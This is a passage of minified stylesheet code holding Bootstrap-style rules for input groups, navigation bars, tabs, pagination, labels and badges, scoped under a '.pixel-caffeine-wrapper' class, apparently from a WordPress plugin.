border: 1px solid #ccc; border-radius: 4px; } .pixel-caffeine-wrapper .input-group-addon.input-sm, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .input-group-addon.btn { padding: 5px 10px; font-size: 12px; border-radius: 3px; } .pixel-caffeine-wrapper .input-group-addon.input-lg, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .input-group-addon.btn { padding: 10px 16px; font-size: 18px; border-radius: 6px; } .pixel-caffeine-wrapper .input-group-addon input[type=radio], .pixel-caffeine-wrapper .input-group-addon input[type=checkbox] { margin-top: 0; } .pixel-caffeine-wrapper .input-group .form-control:first-child, .pixel-caffeine-wrapper .input-group-addon:first-child, .pixel-caffeine-wrapper .input-group-btn:first-child > .btn, .pixel-caffeine-wrapper .input-group-btn:first-child > .btn-group > .btn, .pixel-caffeine-wrapper .input-group-btn:first-child > .dropdown-toggle, .pixel-caffeine-wrapper .input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle), .pixel-caffeine-wrapper .input-group-btn:last-child > .btn-group:not(:last-child) > .btn { border-top-right-radius: 0; border-bottom-right-radius: 0; } .pixel-caffeine-wrapper .input-group-addon:first-child { border-right: 0; } .pixel-caffeine-wrapper .input-group .form-control:last-child, .pixel-caffeine-wrapper .input-group-addon:last-child, .pixel-caffeine-wrapper .input-group-btn:last-child > .btn, .pixel-caffeine-wrapper .input-group-btn:last-child > .btn-group > .btn, .pixel-caffeine-wrapper .input-group-btn:last-child > .dropdown-toggle, .pixel-caffeine-wrapper .input-group-btn:first-child > .btn:not(:first-child), .pixel-caffeine-wrapper .input-group-btn:first-child > .btn-group:not(:first-child) > .btn { border-top-left-radius: 0; border-bottom-left-radius: 0; } .pixel-caffeine-wrapper .input-group-addon:last-child { border-left: 0; } .pixel-caffeine-wrapper .input-group-btn { position: relative; font-size: 0; white-space: nowrap; } .pixel-caffeine-wrapper .input-group-btn > .btn { position: relative; } .pixel-caffeine-wrapper .input-group-btn > .btn + .btn { margin-left: -1px; } .pixel-caffeine-wrapper .input-group-btn > .btn:hover, .pixel-caffeine-wrapper .input-group-btn > .btn:focus, .pixel-caffeine-wrapper .input-group-btn > .btn:active { z-index: 2; } .pixel-caffeine-wrapper .input-group-btn:first-child > .btn, .pixel-caffeine-wrapper .input-group-btn:first-child > .btn-group { margin-right: -1px; } .pixel-caffeine-wrapper .input-group-btn:last-child > .btn, .pixel-caffeine-wrapper .input-group-btn:last-child > .btn-group { z-index: 2; margin-left: -1px; } .pixel-caffeine-wrapper .nav { padding-left: 0; margin-bottom: 0; list-style: none; } .pixel-caffeine-wrapper .nav:before, .pixel-caffeine-wrapper .nav:after { display: table; content: " "; } .pixel-caffeine-wrapper .nav:after { clear: both; } .pixel-caffeine-wrapper .nav > li { position: relative; display: block; } .pixel-caffeine-wrapper .nav > li > a { position: relative; display: block; padding: 10px 15px; } .pixel-caffeine-wrapper .nav > li > a:hover, .pixel-caffeine-wrapper .nav > li > a:focus { text-decoration: none; background-color: #eeeeee; } .pixel-caffeine-wrapper .nav > li.disabled > a { color: #777777; } .pixel-caffeine-wrapper .nav > li.disabled > a:hover, .pixel-caffeine-wrapper .nav > li.disabled > a:focus { color: #777777; text-decoration: none; cursor: not-allowed; background-color: transparent; } .pixel-caffeine-wrapper .nav .open > a, .pixel-caffeine-wrapper .nav .open > a:hover, .pixel-caffeine-wrapper .nav .open > a:focus { background-color: #eeeeee; border-color: #337ab7; } .pixel-caffeine-wrapper .nav .nav-divider { height: 1px; margin: 9px 0; overflow: hidden; background-color: #e5e5e5; } .pixel-caffeine-wrapper .nav > li > a > img { max-width: none; } .pixel-caffeine-wrapper .nav-tabs { border-bottom: 1px solid #ddd; } .pixel-caffeine-wrapper .nav-tabs > li { float: left; margin-bottom: -1px; } .pixel-caffeine-wrapper .nav-tabs > li > a { margin-right: 2px; line-height: 1.428571429; border: 1px solid transparent; border-radius: 4px 4px 0 0; } .pixel-caffeine-wrapper .nav-tabs > li > a:hover { border-color: #eeeeee #eeeeee #ddd; } .pixel-caffeine-wrapper .nav-tabs > li.active > a, .pixel-caffeine-wrapper .nav-tabs > li.active > a:hover, .pixel-caffeine-wrapper .nav-tabs > li.active > a:focus { color: #555555; cursor: default; background-color: #fff; border: 1px solid #ddd; border-bottom-color: transparent; } .pixel-caffeine-wrapper .nav-pills > li { float: left; } .pixel-caffeine-wrapper .nav-pills > li > a { border-radius: 4px; } .pixel-caffeine-wrapper .nav-pills > li + li { margin-left: 2px; } .pixel-caffeine-wrapper .nav-pills > li.active > a, .pixel-caffeine-wrapper .nav-pills > li.active > a:hover, .pixel-caffeine-wrapper .nav-pills > li.active > a:focus { color: #fff; background-color: #337ab7; } .pixel-caffeine-wrapper .nav-stacked > li { float: none; } .pixel-caffeine-wrapper .nav-stacked > li + li { margin-top: 2px; margin-left: 0; } .pixel-caffeine-wrapper .nav-justified, .pixel-caffeine-wrapper .nav-tabs.nav-justified { width: 100%; } .pixel-caffeine-wrapper .nav-justified > li, .pixel-caffeine-wrapper .nav-tabs.nav-justified > li { float: none; } .pixel-caffeine-wrapper .nav-justified > li > a, .pixel-caffeine-wrapper .nav-tabs.nav-justified > li > a { margin-bottom: 5px; text-align: center; } .pixel-caffeine-wrapper .nav-justified > .dropdown .dropdown-menu { top: auto; left: auto; } @media (min-width: 768px) { .pixel-caffeine-wrapper .nav-justified > li, .pixel-caffeine-wrapper .nav-tabs.nav-justified > li { display: table-cell; width: 1%; } .pixel-caffeine-wrapper .nav-justified > li > a, .pixel-caffeine-wrapper .nav-tabs.nav-justified > li > a { margin-bottom: 0; } } .pixel-caffeine-wrapper .nav-tabs-justified, .pixel-caffeine-wrapper .nav-tabs.nav-justified { border-bottom: 0; } .pixel-caffeine-wrapper .nav-tabs-justified > li > a, .pixel-caffeine-wrapper .nav-tabs.nav-justified > li > a { margin-right: 0; border-radius: 4px; } .pixel-caffeine-wrapper .nav-tabs-justified > .active > a, .pixel-caffeine-wrapper .nav-tabs.nav-justified > .active > a, .pixel-caffeine-wrapper .nav-tabs-justified > .active > a:hover, .pixel-caffeine-wrapper .nav-tabs-justified > .active > a:focus { border: 1px solid #ddd; } @media (min-width: 768px) { .pixel-caffeine-wrapper .nav-tabs-justified > li > a, .pixel-caffeine-wrapper .nav-tabs.nav-justified > li > a { border-bottom: 1px solid #ddd; border-radius: 4px 4px 0 0; } .pixel-caffeine-wrapper .nav-tabs-justified > .active > a, .pixel-caffeine-wrapper .nav-tabs.nav-justified > .active > a, .pixel-caffeine-wrapper .nav-tabs-justified > .active > a:hover, .pixel-caffeine-wrapper .nav-tabs-justified > .active > a:focus { border-bottom-color: #fff; } } .pixel-caffeine-wrapper .tab-content > .tab-pane { display: none; } .pixel-caffeine-wrapper .tab-content > .active { display: block; } .pixel-caffeine-wrapper .nav-tabs .dropdown-menu { margin-top: -1px; border-top-left-radius: 0; border-top-right-radius: 0; } .pixel-caffeine-wrapper .navbar { position: relative; min-height: 50px; margin-bottom: 20px; border: 1px solid transparent; } .pixel-caffeine-wrapper .navbar:before, .pixel-caffeine-wrapper .navbar:after { display: table; content: " "; } .pixel-caffeine-wrapper .navbar:after { clear: both; } @media (min-width: 768px) { .pixel-caffeine-wrapper .navbar { border-radius: 4px; } } .pixel-caffeine-wrapper .navbar-header:before, .pixel-caffeine-wrapper .navbar-header:after { display: table; content: " "; } .pixel-caffeine-wrapper .navbar-header:after { clear: both; } @media (min-width: 768px) { .pixel-caffeine-wrapper .navbar-header { float: left; } } .pixel-caffeine-wrapper .navbar-collapse { padding-right: 15px; padding-left: 15px; overflow-x: visible; border-top: 1px solid transparent; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1); -webkit-overflow-scrolling: touch; } .pixel-caffeine-wrapper .navbar-collapse:before, .pixel-caffeine-wrapper .navbar-collapse:after { display: table; content: " "; } .pixel-caffeine-wrapper .navbar-collapse:after { clear: both; } .pixel-caffeine-wrapper .navbar-collapse.in { overflow-y: auto; } @media (min-width: 768px) { .pixel-caffeine-wrapper .navbar-collapse { width: auto; border-top: 0; -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .navbar-collapse.collapse { display: block !important; height: auto !important; padding-bottom: 0; overflow: visible !important; } .pixel-caffeine-wrapper .navbar-collapse.in { overflow-y: visible; } .navbar-fixed-top .pixel-caffeine-wrapper .navbar-collapse, .navbar-static-top .pixel-caffeine-wrapper .navbar-collapse, .navbar-fixed-bottom .pixel-caffeine-wrapper .navbar-collapse { padding-right: 0; padding-left: 0; } } .pixel-caffeine-wrapper .navbar-fixed-top, .pixel-caffeine-wrapper .navbar-fixed-bottom { position: fixed; right: 0; left: 0; z-index: 1030; } .pixel-caffeine-wrapper .navbar-fixed-top .navbar-collapse, .pixel-caffeine-wrapper .navbar-fixed-bottom .navbar-collapse { max-height: 340px; } @media (max-device-width: 480px) and (orientation: landscape) { .pixel-caffeine-wrapper .navbar-fixed-top .navbar-collapse, .pixel-caffeine-wrapper .navbar-fixed-bottom .navbar-collapse { max-height: 200px; } } @media (min-width: 768px) { .pixel-caffeine-wrapper .navbar-fixed-top, .pixel-caffeine-wrapper .navbar-fixed-bottom { border-radius: 0; } } .pixel-caffeine-wrapper .navbar-fixed-top { top: 0; border-width: 0 0 1px; } .pixel-caffeine-wrapper .navbar-fixed-bottom { bottom: 0; margin-bottom: 0; border-width: 1px 0 0; } .pixel-caffeine-wrapper .container > .navbar-header, .pixel-caffeine-wrapper .container > .navbar-collapse, .pixel-caffeine-wrapper .container-fluid > .navbar-header, .pixel-caffeine-wrapper .container-fluid > .navbar-collapse { margin-right: -15px; margin-left: -15px; } @media (min-width: 768px) { .pixel-caffeine-wrapper .container > .navbar-header, .pixel-caffeine-wrapper .container > .navbar-collapse, .pixel-caffeine-wrapper .container-fluid > .navbar-header, .pixel-caffeine-wrapper .container-fluid > .navbar-collapse { margin-right: 0; margin-left: 0; } } .pixel-caffeine-wrapper .navbar-static-top { z-index: 1000; border-width: 0 0 1px; } @media (min-width: 768px) { .pixel-caffeine-wrapper .navbar-static-top { border-radius: 0; } } .pixel-caffeine-wrapper .navbar-brand { float: left; height: 50px; padding: 15px 15px; font-size: 18px; line-height: 20px; } .pixel-caffeine-wrapper .navbar-brand:hover, .pixel-caffeine-wrapper .navbar-brand:focus { text-decoration: none; } .pixel-caffeine-wrapper .navbar-brand > img { display: block; } @media (min-width: 768px) { .navbar > .container .pixel-caffeine-wrapper .navbar-brand, .navbar > .container-fluid .pixel-caffeine-wrapper .navbar-brand { margin-left: -15px; } } .pixel-caffeine-wrapper .navbar-toggle { position: relative; float: right; padding: 9px 10px; margin-right: 15px; margin-top: 8px; margin-bottom: 8px; background-color: transparent; background-image: none; border: 1px solid transparent; border-radius: 4px; } .pixel-caffeine-wrapper .navbar-toggle:focus { outline: 0; } .pixel-caffeine-wrapper .navbar-toggle .icon-bar { display: block; width: 22px; height: 2px; border-radius: 1px; } .pixel-caffeine-wrapper .navbar-toggle .icon-bar + .icon-bar { margin-top: 4px; } @media (min-width: 768px) { .pixel-caffeine-wrapper .navbar-toggle { display: none; } } .pixel-caffeine-wrapper .navbar-nav { margin: 7.5px -15px; } .pixel-caffeine-wrapper .navbar-nav > li > a { padding-top: 10px; padding-bottom: 10px; line-height: 20px; } @media (max-width: 767px) { .pixel-caffeine-wrapper .navbar-nav .open .dropdown-menu { position: static; float: none; width: auto; margin-top: 0; background-color: transparent; border: 0; -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .navbar-nav .open .dropdown-menu > li > a, .pixel-caffeine-wrapper .navbar-nav .open .dropdown-menu .dropdown-header { padding: 5px 15px 5px 25px; } .pixel-caffeine-wrapper .navbar-nav .open .dropdown-menu > li > a { line-height: 20px; } .pixel-caffeine-wrapper .navbar-nav .open .dropdown-menu > li > a:hover, .pixel-caffeine-wrapper .navbar-nav .open .dropdown-menu > li > a:focus { background-image: none; } } @media (min-width: 768px) { .pixel-caffeine-wrapper .navbar-nav { float: left; margin: 0; } .pixel-caffeine-wrapper .navbar-nav > li { float: left; } .pixel-caffeine-wrapper .navbar-nav > li > a { padding-top: 15px; padding-bottom: 15px; } } .pixel-caffeine-wrapper .navbar-form { padding: 10px 15px; margin-right: -15px; margin-left: -15px; border-top: 1px solid transparent; border-bottom: 1px solid transparent; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1); margin-top: 8px; margin-bottom: 8px; } @media (min-width: 768px) { .pixel-caffeine-wrapper .navbar-form .form-group { display: inline-block; margin-bottom: 0; vertical-align: middle; } .pixel-caffeine-wrapper .navbar-form .form-control { display: inline-block; width: auto; vertical-align: middle; } .pixel-caffeine-wrapper .navbar-form .form-control-static { display: inline-block; } .pixel-caffeine-wrapper .navbar-form .input-group { display: inline-table; vertical-align: middle; } .pixel-caffeine-wrapper .navbar-form .input-group .input-group-addon, .pixel-caffeine-wrapper .navbar-form .input-group .input-group-btn, .pixel-caffeine-wrapper .navbar-form .input-group .form-control { width: auto; } .pixel-caffeine-wrapper .navbar-form .input-group > .form-control { width: 100%; } .pixel-caffeine-wrapper .navbar-form .control-label { margin-bottom: 0; vertical-align: middle; } .pixel-caffeine-wrapper .navbar-form .radio, .pixel-caffeine-wrapper .navbar-form .checkbox { display: inline-block; margin-top: 0; margin-bottom: 0; vertical-align: middle; } .pixel-caffeine-wrapper .navbar-form .radio label, .pixel-caffeine-wrapper .navbar-form .checkbox label { padding-left: 0; } .pixel-caffeine-wrapper .navbar-form .radio input[type=radio], .pixel-caffeine-wrapper .navbar-form .checkbox input[type=checkbox] { position: relative; margin-left: 0; } .pixel-caffeine-wrapper .navbar-form .has-feedback .form-control-feedback { top: 0; } } @media (max-width: 767px) { .pixel-caffeine-wrapper .navbar-form .form-group { margin-bottom: 5px; } .pixel-caffeine-wrapper .navbar-form .form-group:last-child { margin-bottom: 0; } } @media (min-width: 768px) { .pixel-caffeine-wrapper .navbar-form { width: auto; padding-top: 0; padding-bottom: 0; margin-right: 0; margin-left: 0; border: 0; -webkit-box-shadow: none; box-shadow: none; } } .pixel-caffeine-wrapper .navbar-nav > li > .dropdown-menu { margin-top: 0; border-top-left-radius: 0; border-top-right-radius: 0; } .pixel-caffeine-wrapper .navbar-fixed-bottom .navbar-nav > li > .dropdown-menu { margin-bottom: 0; border-top-left-radius: 4px; border-top-right-radius: 4px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .pixel-caffeine-wrapper .navbar-btn { margin-top: 8px; margin-bottom: 8px; } .pixel-caffeine-wrapper .navbar-btn.btn-sm, .pixel-caffeine-wrapper .btn-group-sm > .navbar-btn.btn { margin-top: 10px; margin-bottom: 10px; } .pixel-caffeine-wrapper .navbar-btn.btn-xs, .pixel-caffeine-wrapper .btn-group-xs > .navbar-btn.btn { margin-top: 14px; margin-bottom: 14px; } .pixel-caffeine-wrapper .navbar-text { margin-top: 15px; margin-bottom: 15px; } @media (min-width: 768px) { .pixel-caffeine-wrapper .navbar-text { float: left; margin-right: 15px; margin-left: 15px; } } @media (min-width: 768px) { .pixel-caffeine-wrapper .navbar-left { float: left !important; } .pixel-caffeine-wrapper .navbar-right { float: right !important; margin-right: -15px; } .pixel-caffeine-wrapper .navbar-right ~ .navbar-right { margin-right: 0; } } .pixel-caffeine-wrapper .navbar-default { background-color: #f8f8f8; border-color: #e7e7e7; } .pixel-caffeine-wrapper .navbar-default .navbar-brand { color: #777; } .pixel-caffeine-wrapper .navbar-default .navbar-brand:hover, .pixel-caffeine-wrapper .navbar-default .navbar-brand:focus { color: #5e5e5e; background-color: transparent; } .pixel-caffeine-wrapper .navbar-default .navbar-text { color: #777; } .pixel-caffeine-wrapper .navbar-default .navbar-nav > li > a { color: #777; } .pixel-caffeine-wrapper .navbar-default .navbar-nav > li > a:hover, .pixel-caffeine-wrapper .navbar-default .navbar-nav > li > a:focus { color: #333; background-color: transparent; } .pixel-caffeine-wrapper .navbar-default .navbar-nav > .active > a, .pixel-caffeine-wrapper .navbar-default .navbar-nav > .active > a:hover, .pixel-caffeine-wrapper .navbar-default .navbar-nav > .active > a:focus { color: #555; background-color: #e7e7e7; } .pixel-caffeine-wrapper .navbar-default .navbar-nav > .disabled > a, .pixel-caffeine-wrapper .navbar-default .navbar-nav > .disabled > a:hover, .pixel-caffeine-wrapper .navbar-default .navbar-nav > .disabled > a:focus { color: #ccc; background-color: transparent; } .pixel-caffeine-wrapper .navbar-default .navbar-nav > .open > a, .pixel-caffeine-wrapper .navbar-default .navbar-nav > .open > a:hover, .pixel-caffeine-wrapper .navbar-default .navbar-nav > .open > a:focus { color: #555; background-color: #e7e7e7; } @media (max-width: 767px) { .pixel-caffeine-wrapper .navbar-default .navbar-nav .open .dropdown-menu > li > a { color: #777; } .pixel-caffeine-wrapper .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover, .pixel-caffeine-wrapper .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus { color: #333; background-color: transparent; } .pixel-caffeine-wrapper .navbar-default .navbar-nav .open .dropdown-menu > .active > a, .pixel-caffeine-wrapper .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover, .pixel-caffeine-wrapper .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus { color: #555; background-color: #e7e7e7; } .pixel-caffeine-wrapper .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a, .pixel-caffeine-wrapper .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover, .pixel-caffeine-wrapper .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus { color: #ccc; background-color: transparent; } } .pixel-caffeine-wrapper .navbar-default .navbar-toggle { border-color: #ddd; } .pixel-caffeine-wrapper .navbar-default .navbar-toggle:hover, .pixel-caffeine-wrapper .navbar-default .navbar-toggle:focus { background-color: #ddd; } .pixel-caffeine-wrapper .navbar-default .navbar-toggle .icon-bar { background-color: #888; } .pixel-caffeine-wrapper .navbar-default .navbar-collapse, .pixel-caffeine-wrapper .navbar-default .navbar-form { border-color: #e7e7e7; } .pixel-caffeine-wrapper .navbar-default .navbar-link { color: #777; } .pixel-caffeine-wrapper .navbar-default .navbar-link:hover { color: #333; } .pixel-caffeine-wrapper .navbar-default .btn-link { color: #777; } .pixel-caffeine-wrapper .navbar-default .btn-link:hover, .pixel-caffeine-wrapper .navbar-default .btn-link:focus { color: #333; } .pixel-caffeine-wrapper .navbar-default .btn-link[disabled]:hover, .pixel-caffeine-wrapper .navbar-default .btn-link[disabled]:focus, fieldset[disabled] .pixel-caffeine-wrapper .navbar-default .btn-link:hover, fieldset[disabled] .pixel-caffeine-wrapper .navbar-default .btn-link:focus { color: #ccc; } .pixel-caffeine-wrapper .navbar-inverse { background-color: #222; border-color: #090909; } .pixel-caffeine-wrapper .navbar-inverse .navbar-brand { color: #9d9d9d; } .pixel-caffeine-wrapper .navbar-inverse .navbar-brand:hover, .pixel-caffeine-wrapper .navbar-inverse .navbar-brand:focus { color: #fff; background-color: transparent; } .pixel-caffeine-wrapper .navbar-inverse .navbar-text { color: #9d9d9d; } .pixel-caffeine-wrapper .navbar-inverse .navbar-nav > li > a { color: #9d9d9d; } .pixel-caffeine-wrapper .navbar-inverse .navbar-nav > li > a:hover, .pixel-caffeine-wrapper .navbar-inverse .navbar-nav > li > a:focus { color: #fff; background-color: transparent; } .pixel-caffeine-wrapper .navbar-inverse .navbar-nav > .active > a, .pixel-caffeine-wrapper .navbar-inverse .navbar-nav > .active > a:hover, .pixel-caffeine-wrapper .navbar-inverse .navbar-nav > .active > a:focus { color: #fff; background-color: #090909; } .pixel-caffeine-wrapper .navbar-inverse .navbar-nav > .disabled > a, .pixel-caffeine-wrapper .navbar-inverse .navbar-nav > .disabled > a:hover, .pixel-caffeine-wrapper .navbar-inverse .navbar-nav > .disabled > a:focus { color: #444; background-color: transparent; } .pixel-caffeine-wrapper .navbar-inverse .navbar-nav > .open > a, .pixel-caffeine-wrapper .navbar-inverse .navbar-nav > .open > a:hover, .pixel-caffeine-wrapper .navbar-inverse .navbar-nav > .open > a:focus { color: #fff; background-color: #090909; } @media (max-width: 767px) { .pixel-caffeine-wrapper .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header { border-color: #090909; } .pixel-caffeine-wrapper .navbar-inverse .navbar-nav .open .dropdown-menu .divider { background-color: #090909; } .pixel-caffeine-wrapper .navbar-inverse .navbar-nav .open .dropdown-menu > li > a { color: #9d9d9d; } .pixel-caffeine-wrapper .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover, .pixel-caffeine-wrapper .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus { color: #fff; background-color: transparent; } .pixel-caffeine-wrapper .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a, .pixel-caffeine-wrapper .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover, .pixel-caffeine-wrapper .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus { color: #fff; background-color: #090909; } .pixel-caffeine-wrapper .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a, .pixel-caffeine-wrapper .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover, .pixel-caffeine-wrapper .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus { color: #444; background-color: transparent; } } .pixel-caffeine-wrapper .navbar-inverse .navbar-toggle { border-color: #333; } .pixel-caffeine-wrapper .navbar-inverse .navbar-toggle:hover, .pixel-caffeine-wrapper .navbar-inverse .navbar-toggle:focus { background-color: #333; } .pixel-caffeine-wrapper .navbar-inverse .navbar-toggle .icon-bar { background-color: #fff; } .pixel-caffeine-wrapper .navbar-inverse .navbar-collapse, .pixel-caffeine-wrapper .navbar-inverse .navbar-form { border-color: #101010; } .pixel-caffeine-wrapper .navbar-inverse .navbar-link { color: #9d9d9d; } .pixel-caffeine-wrapper .navbar-inverse .navbar-link:hover { color: #fff; } .pixel-caffeine-wrapper .navbar-inverse .btn-link { color: #9d9d9d; } .pixel-caffeine-wrapper .navbar-inverse .btn-link:hover, .pixel-caffeine-wrapper .navbar-inverse .btn-link:focus { color: #fff; } .pixel-caffeine-wrapper .navbar-inverse .btn-link[disabled]:hover, .pixel-caffeine-wrapper .navbar-inverse .btn-link[disabled]:focus, fieldset[disabled] .pixel-caffeine-wrapper .navbar-inverse .btn-link:hover, fieldset[disabled] .pixel-caffeine-wrapper .navbar-inverse .btn-link:focus { color: #444; } .pixel-caffeine-wrapper .breadcrumb { padding: 8px 15px; margin-bottom: 20px; list-style: none; background-color: #f5f5f5; border-radius: 4px; } .pixel-caffeine-wrapper .breadcrumb > li { display: inline-block; } .pixel-caffeine-wrapper .breadcrumb > li + li:before { padding: 0 5px; color: #ccc; content: "/ "; } .pixel-caffeine-wrapper .breadcrumb > .active { color: #777777; } .pixel-caffeine-wrapper .pagination { display: inline-block; padding-left: 0; margin: 20px 0; border-radius: 4px; } .pixel-caffeine-wrapper .pagination > li { display: inline; } .pixel-caffeine-wrapper .pagination > li > a, .pixel-caffeine-wrapper .pagination > li > span { position: relative; float: left; padding: 6px 12px; margin-left: -1px; line-height: 1.428571429; color: #337ab7; text-decoration: none; background-color: #fff; border: 1px solid #ddd; } .pixel-caffeine-wrapper .pagination > li > a:hover, .pixel-caffeine-wrapper .pagination > li > a:focus, .pixel-caffeine-wrapper .pagination > li > span:hover, .pixel-caffeine-wrapper .pagination > li > span:focus { z-index: 2; color: #23527c; background-color: #eeeeee; border-color: #ddd; } .pixel-caffeine-wrapper .pagination > li:first-child > a, .pixel-caffeine-wrapper .pagination > li:first-child > span { margin-left: 0; border-top-left-radius: 4px; border-bottom-left-radius: 4px; } .pixel-caffeine-wrapper .pagination > li:last-child > a, .pixel-caffeine-wrapper .pagination > li:last-child > span { border-top-right-radius: 4px; border-bottom-right-radius: 4px; } .pixel-caffeine-wrapper .pagination > .active > a, .pixel-caffeine-wrapper .pagination > .active > a:hover, .pixel-caffeine-wrapper .pagination > .active > a:focus, .pixel-caffeine-wrapper .pagination > .active > span, .pixel-caffeine-wrapper .pagination > .active > span:hover, .pixel-caffeine-wrapper .pagination > .active > span:focus { z-index: 3; color: #fff; cursor: default; background-color: #337ab7; border-color: #337ab7; } .pixel-caffeine-wrapper .pagination > .disabled > span, .pixel-caffeine-wrapper .pagination > .disabled > span:hover, .pixel-caffeine-wrapper .pagination > .disabled > span:focus, .pixel-caffeine-wrapper .pagination > .disabled > a, .pixel-caffeine-wrapper .pagination > .disabled > a:hover, .pixel-caffeine-wrapper .pagination > .disabled > a:focus { color: #777777; cursor: not-allowed; background-color: #fff; border-color: #ddd; } .pixel-caffeine-wrapper .pagination-lg > li > a, .pixel-caffeine-wrapper .pagination-lg > li > span { padding: 10px 16px; font-size: 18px; line-height: 1.3333333; } .pixel-caffeine-wrapper .pagination-lg > li:first-child > a, .pixel-caffeine-wrapper .pagination-lg > li:first-child > span { border-top-left-radius: 6px; border-bottom-left-radius: 6px; } .pixel-caffeine-wrapper .pagination-lg > li:last-child > a, .pixel-caffeine-wrapper .pagination-lg > li:last-child > span { border-top-right-radius: 6px; border-bottom-right-radius: 6px; } .pixel-caffeine-wrapper .pagination-sm > li > a, .pixel-caffeine-wrapper .pagination-sm > li > span { padding: 5px 10px; font-size: 12px; line-height: 1.5; } .pixel-caffeine-wrapper .pagination-sm > li:first-child > a, .pixel-caffeine-wrapper .pagination-sm > li:first-child > span { border-top-left-radius: 3px; border-bottom-left-radius: 3px; } .pixel-caffeine-wrapper .pagination-sm > li:last-child > a, .pixel-caffeine-wrapper .pagination-sm > li:last-child > span { border-top-right-radius: 3px; border-bottom-right-radius: 3px; } .pixel-caffeine-wrapper .pager { padding-left: 0; margin: 20px 0; text-align: center; list-style: none; } .pixel-caffeine-wrapper .pager:before, .pixel-caffeine-wrapper .pager:after { display: table; content: " "; } .pixel-caffeine-wrapper .pager:after { clear: both; } .pixel-caffeine-wrapper .pager li { display: inline; } .pixel-caffeine-wrapper .pager li > a, .pixel-caffeine-wrapper .pager li > span { display: inline-block; padding: 5px 14px; background-color: #fff; border: 1px solid #ddd; border-radius: 15px; } .pixel-caffeine-wrapper .pager li > a:hover, .pixel-caffeine-wrapper .pager li > a:focus { text-decoration: none; background-color: #eeeeee; } .pixel-caffeine-wrapper .pager .next > a, .pixel-caffeine-wrapper .pager .next > span { float: right; } .pixel-caffeine-wrapper .pager .previous > a, .pixel-caffeine-wrapper .pager .previous > span { float: left; } .pixel-caffeine-wrapper .pager .disabled > a, .pixel-caffeine-wrapper .pager .disabled > a:hover, .pixel-caffeine-wrapper .pager .disabled > a:focus, .pixel-caffeine-wrapper .pager .disabled > span { color: #777777; cursor: not-allowed; background-color: #fff; } .pixel-caffeine-wrapper .label { display: inline; padding: 0.2em 0.6em 0.3em; font-size: 75%; font-weight: 700; line-height: 1; color: #fff; text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: 0.25em; } .pixel-caffeine-wrapper .label:empty { display: none; } .btn .pixel-caffeine-wrapper .label { position: relative; top: -1px; } .pixel-caffeine-wrapper a.label:hover, .pixel-caffeine-wrapper a.label:focus { color: #fff; text-decoration: none; cursor: pointer; } .pixel-caffeine-wrapper .label-default { background-color: #777777; } .pixel-caffeine-wrapper .label-default[href]:hover, .pixel-caffeine-wrapper .label-default[href]:focus { background-color: #5e5e5e; } .pixel-caffeine-wrapper .label-primary { background-color: #337ab7; } .pixel-caffeine-wrapper .label-primary[href]:hover, .pixel-caffeine-wrapper .label-primary[href]:focus { background-color: #286090; } .pixel-caffeine-wrapper .label-success { background-color: #5cb85c; } .pixel-caffeine-wrapper .label-success[href]:hover, .pixel-caffeine-wrapper .label-success[href]:focus { background-color: #449d44; } .pixel-caffeine-wrapper .label-info { background-color: #5bc0de; } .pixel-caffeine-wrapper .label-info[href]:hover, .pixel-caffeine-wrapper .label-info[href]:focus { background-color: #31b0d5; } .pixel-caffeine-wrapper .label-warning { background-color: #f0ad4e; } .pixel-caffeine-wrapper .label-warning[href]:hover, .pixel-caffeine-wrapper .label-warning[href]:focus { background-color: #ec971f; } .pixel-caffeine-wrapper .label-danger { background-color: #d9534f; } .pixel-caffeine-wrapper .label-danger[href]:hover, .pixel-caffeine-wrapper .label-danger[href]:focus { background-color: #c9302c; } .pixel-caffeine-wrapper .badge { display: inline-block; min-width: 10px; padding: 3px 7px; font-size: 12px; font-weight: bold; line-height: 1; color: #fff; text-align: center; white-space: nowrap; vertical-align: middle; background-color: #777777; border-radius: 10px; } .pixel-caffeine-wrapper .badge:empty { display: none; } .btn .pixel-caffeine-wrapper .badge { position: relative; top: -1px; } .btn-xs .pixel-caffeine-wrapper .badge, .btn-group-xs > .btn .pixel-caffeine-wrapper .badge { top: 0; padding: 1px 5px; } .list-group-item.active > .pixel-caffeine-wrapper .badge, .nav-pills > .active > a > .pixel-caffeine-wrapper .badge { color: #337ab7; background-color: #fff; } .list-group-item > .pixel-caffeine-wrapper .badge { float: right; } .list-group-item > .pixel-caffeine-wrapper .badge + .pixel-caffeine-wrapper .badge { margin-right: 5px; } .nav-pills > li > a > .pixel-caffeine-wrapper .badge { margin-left: 3px; } .pixel-caffeine-wrapper a.badge:hover, .pixel-caffeine-wrapper a.badge:focus { color: #fff; text-decoration: none; cursor: pointer; } .pixel-caffeine-wrapper .jumbotron { padding-top: 30px; padding-bottom: 30px; margin-bottom: 30px; color: inherit; background-color: #eeeeee; } .pixel-caffeine-wrapper 